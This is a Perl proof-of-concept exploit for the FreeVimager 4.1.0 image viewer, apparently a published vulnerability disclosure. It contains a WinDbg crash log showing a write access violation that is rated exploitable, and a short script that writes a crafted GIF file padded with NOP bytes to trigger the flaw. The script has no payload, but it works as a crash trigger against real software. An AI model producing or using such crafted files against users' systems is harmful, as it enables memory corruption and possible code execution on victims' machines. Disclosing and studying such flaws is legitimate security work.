#!/usr/bin/perl

# FreeVimager 4.1.0 <= WriteAV Arbitrary Code Execution

# Author: Jean Pascal Pereira <pereira@secbiz.de>

# Vendor URI: http://www.contaware.com

# Vendor Decription:

# This is a Free & Fast Image Viewer and Editor for Windows. It can as well play avi video files,
# ordinary audio files and audio CDs. There are many tools around doing that, but the aim of this
# Freeware is to be a small and handy tool doing what it says and running also as a standalone
# exe file (installer not necessary). 

# Debug info:
# Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
# Copyright (c) Microsoft Corporation. All rights reserved.
# 
# CommandLine: "C:\Program Files\FreeVimager\FreeVimager.exe" C:\research\FreeVimager\crafted.gif
# Symbol search path is: *** Invalid ***
# ****************************************************************************
# * Symbol loading may be unreliable without a symbol search path.           *
# * Use .symfix to have the debugger choose a symbol path.                   *
# * After setting your symbol path, use .reload to refresh symbol locations. *
# ****************************************************************************
# Executable search path is: 
# ModLoad: 00400000 00c9a000   image00400000
# ModLoad: 7c900000 7c9b2000   ntdll.dll
# ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll
# ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll
# ModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dll
# ModLoad: 763b0000 763f9000   C:\WINDOWS\system32\COMDLG32.dll
# ModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\ADVAPI32.dll
# ModLoad: 77e70000 77f03000   C:\WINDOWS\system32\RPCRT4.dll
# ModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dll
# ModLoad: 773d0000 774d3000   C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\COMCTL32.dll
# ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
# ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll
# ModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\SHELL32.dll
# ModLoad: 73000000 73026000   C:\WINDOWS\system32\WINSPOOL.DRV
# ModLoad: 7df70000 7df92000   C:\WINDOWS\system32\oledlg.dll
# ModLoad: 774e0000 7761e000   C:\WINDOWS\system32\ole32.dll
# ModLoad: 77120000 771ab000   C:\WINDOWS\system32\OLEAUT32.dll
# ModLoad: 75a70000 75a91000   C:\WINDOWS\system32\MSVFW32.dll
# ModLoad: 76b40000 76b6d000   C:\WINDOWS\system32\WINMM.dll
# ModLoad: 77be0000 77bf5000   C:\WINDOWS\system32\MSACM32.dll
# ModLoad: 77c00000 77c08000   C:\WINDOWS\system32\VERSION.dll
# ModLoad: 3d930000 3da16000   C:\WINDOWS\system32\WININET.dll
# ModLoad: 00340000 00349000   C:\WINDOWS\system32\Normaliz.dll
# ModLoad: 78130000 78263000   C:\WINDOWS\system32\urlmon.dll
# ModLoad: 3dfd0000 3e1bb000   C:\WINDOWS\system32\iertutil.dll
# (e48.568): Break instruction exception - code 80000003 (first chance)
# ModLoad: 76390000 763ad000   C:\WINDOWS\system32\IMM32.DLL
# ModLoad: 5ad70000 5ada8000   C:\WINDOWS\system32\uxtheme.dll
# ModLoad: 74720000 7476c000   C:\WINDOWS\system32\MSCTF.dll
# ModLoad: 755c0000 755ee000   C:\WINDOWS\system32\msctfime.ime
# ModLoad: 76f50000 76f58000   C:\WINDOWS\system32\Wtsapi32.dll
# ModLoad: 76360000 76370000   C:\WINDOWS\system32\WINSTA.dll
# ModLoad: 5b860000 5b8b5000   C:\WINDOWS\system32\NETAPI32.dll
# ModLoad: 73bc0000 73bc6000   C:\WINDOWS\system32\DCIMAN32.DLL
# ModLoad: 76380000 76385000   C:\WINDOWS\system32\msimg32.dll
# (e48.568): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00008080 ebx=00000000 ecx=0151c14c edx=08000004 esi=00000002 edi=00008080
# eip=005c02c3 esp=0012ea58 ebp=0151a008 iopl=0         nv up ei pl nz ac pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210216
# *** WARNING: Unable to verify checksum for image00400000
# *** ERROR: Module load completed but symbols could not be loaded for image00400000
# image00400000+0x1c02c3:
# 005c02c3 897c91f8        mov     dword ptr [ecx+edx*4-8],edi ds:0023:2151c154=????????
# 0:000> r;!exploitable -v;q
# eax=00008080 ebx=00000000 ecx=0151c14c edx=08000004 esi=00000002 edi=00008080
# eip=005c02c3 esp=0012ea58 ebp=0151a008 iopl=0         nv up ei pl nz ac pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210216
# image00400000+0x1c02c3:
# 005c02c3 897c91f8        mov     dword ptr [ecx+edx*4-8],edi ds:0023:2151c154=????????
# HostMachine\HostUser
# Executing Processor Architecture is x86
# Debuggee is in User Mode
# Debuggee is a live user mode debugging session on the local machine
# Event Type: Exception
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll - 
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
# Exception Faulting Address: 0x2151c154
# First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
# Exception Sub-Type: Write Access Violation
# 
# Exception Hash (Major/Minor): 0x50747228.0x58333273
# 
# Stack Trace:
# image00400000+0x1c02c3
# image00400000+0x1bfd07
# image00400000+0x18abb4
# kernel32!VirtualAllocEx+0x47
# kernel32!VirtualAlloc+0x18
# image00400000+0x18a0ef
# image00400000+0x18a121
# image00400000+0x24fb01
# image00400000+0x24fc4e
# image00400000+0x23be55
# image00400000+0x95a48
# image00400000+0x4fd8
# image00400000+0xf054e
# image00400000+0xea85e
# ntdll!RtlFreeHeap+0x130
# ntdll!RtlFreeHeap+0x130
# kernel32!CreateActCtxW+0xb6c
# kernel32!CreateActCtxW+0xcbf
# Instruction Address: 0x00000000005c02c3

# Proof of Concept:

my $crafted = "\x47\x49\x46\x38\x39\x61\x18\x00\x18\x00\xC4\x00\x00\xA2\xC5".
              "\xE1\xEB\xF3\xF9\x8C\xB8\xDA\x49\x8E\xC3\x95\xBD\xDC\xFE\xFE".
              "\xFF\x75\xAA\xD3\x38\x84\xBE\xD5\xE5\xF1\x5D\x9A\xCA\x26\x78".
              "\xB8\x22\x76\xB7\xC4\xDA\xEC\xDD\xEA\xF4\x55\x96\xC8\xF4\xF8".
              "\xFC\x89\xB5\xD8\xF1\xF6\xFA\x28\x79\xB8\x87\xB5\xD8\x31\x7F".
              "\xBC\x23\x77\xB8\x9E\xC3\xE0\x9E\xC3\xDF\x68\xA1\xCE\xE6\xF0".
              "\xF7\xFA\xFC\xFD\x1F\x74\xB6\x8E\xB9\xDA\xFF\xFF\xFF\x1E\x73".
              "\xB5\x1E\x74\xB6\x21\xF9\x04\x00\x00\x00\x00\x00\x2C\x00\x00".
              "\x00\x00\x18\x00\x18\x00\x00\xFB\x05\x60";

my $junk = "\x90" x 163;

open(C, ">:raw", "crafted.gif");
print C $crafted.$junk;
close(C);

# http://0xffe4.org